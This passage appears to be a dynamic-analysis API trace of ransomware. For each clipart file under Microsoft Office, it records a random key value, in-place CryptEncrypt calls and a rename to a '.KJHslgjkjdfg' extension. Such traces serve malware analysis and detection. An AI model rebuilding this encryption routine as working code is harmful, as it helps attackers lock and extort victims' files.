hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.868] GetProcessHeap () returned 0x2a0000 [0158.868] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.868] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5a8, lpOverlapped=0x0) returned 1 [0158.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0) returned 1 [0158.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.868] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b0, lpOverlapped=0x0) returned 1 [0158.869] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.869] SetEndOfFile (hFile=0x114) returned 1 [0158.871] GetProcessHeap () returned 0x2a0000 [0158.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.871] GetProcessHeap () returned 0x2a0000 [0158.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.kjhslgjkjdfg")) returned 1 [0158.872] CloseHandle (hObject=0x114) returned 1 [0158.872] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0158.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.873] GetProcessHeap () returned 0x2a0000 [0158.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.873] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.875] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.875] GetProcessHeap () returned 0x2a0000 [0158.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.875] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.875] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.875] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.875] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.875] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.875] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.876] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbb4, lpOverlapped=0x0) returned 1 [0158.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0) returned 1 [0158.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.876] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbc0, lpOverlapped=0x0) returned 1 [0158.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.876] SetEndOfFile (hFile=0x114) returned 1 [0158.878] GetProcessHeap () returned 0x2a0000 [0158.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.878] GetProcessHeap () returned 0x2a0000 [0158.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.kjhslgjkjdfg")) returned 1 [0158.879] CloseHandle (hObject=0x114) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0158.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.880] GetProcessHeap () returned 0x2a0000 [0158.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.880] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.882] GetProcessHeap () returned 0x2a0000 [0158.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.882] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.883] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8f8, lpOverlapped=0x0) returned 1 [0158.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900) returned 1 [0158.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.883] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x900, lpOverlapped=0x0) returned 1 [0158.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.883] SetEndOfFile (hFile=0x114) returned 1 [0158.886] GetProcessHeap () returned 0x2a0000 [0158.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.886] GetProcessHeap () returned 0x2a0000 [0158.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.kjhslgjkjdfg")) returned 1 [0158.887] CloseHandle (hObject=0x114) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0158.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.887] GetProcessHeap () returned 0x2a0000 [0158.887] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.887] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.887] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.890] GetProcessHeap () returned 0x2a0000 [0158.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.890] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.890] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.890] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.890] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2174, lpOverlapped=0x0) returned 1 [0158.891] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180, dwBufLen=0x2180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180) returned 1 [0158.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.891] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2180, lpOverlapped=0x0) returned 1 [0158.892] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.892] SetEndOfFile (hFile=0x114) returned 1 [0158.894] GetProcessHeap () returned 0x2a0000 [0158.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.894] GetProcessHeap () returned 0x2a0000 [0158.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.kjhslgjkjdfg")) returned 1 [0158.895] CloseHandle (hObject=0x114) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0158.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.896] GetProcessHeap () returned 0x2a0000 [0158.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.896] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.898] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.898] GetProcessHeap () returned 0x2a0000 [0158.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.898] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.898] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, 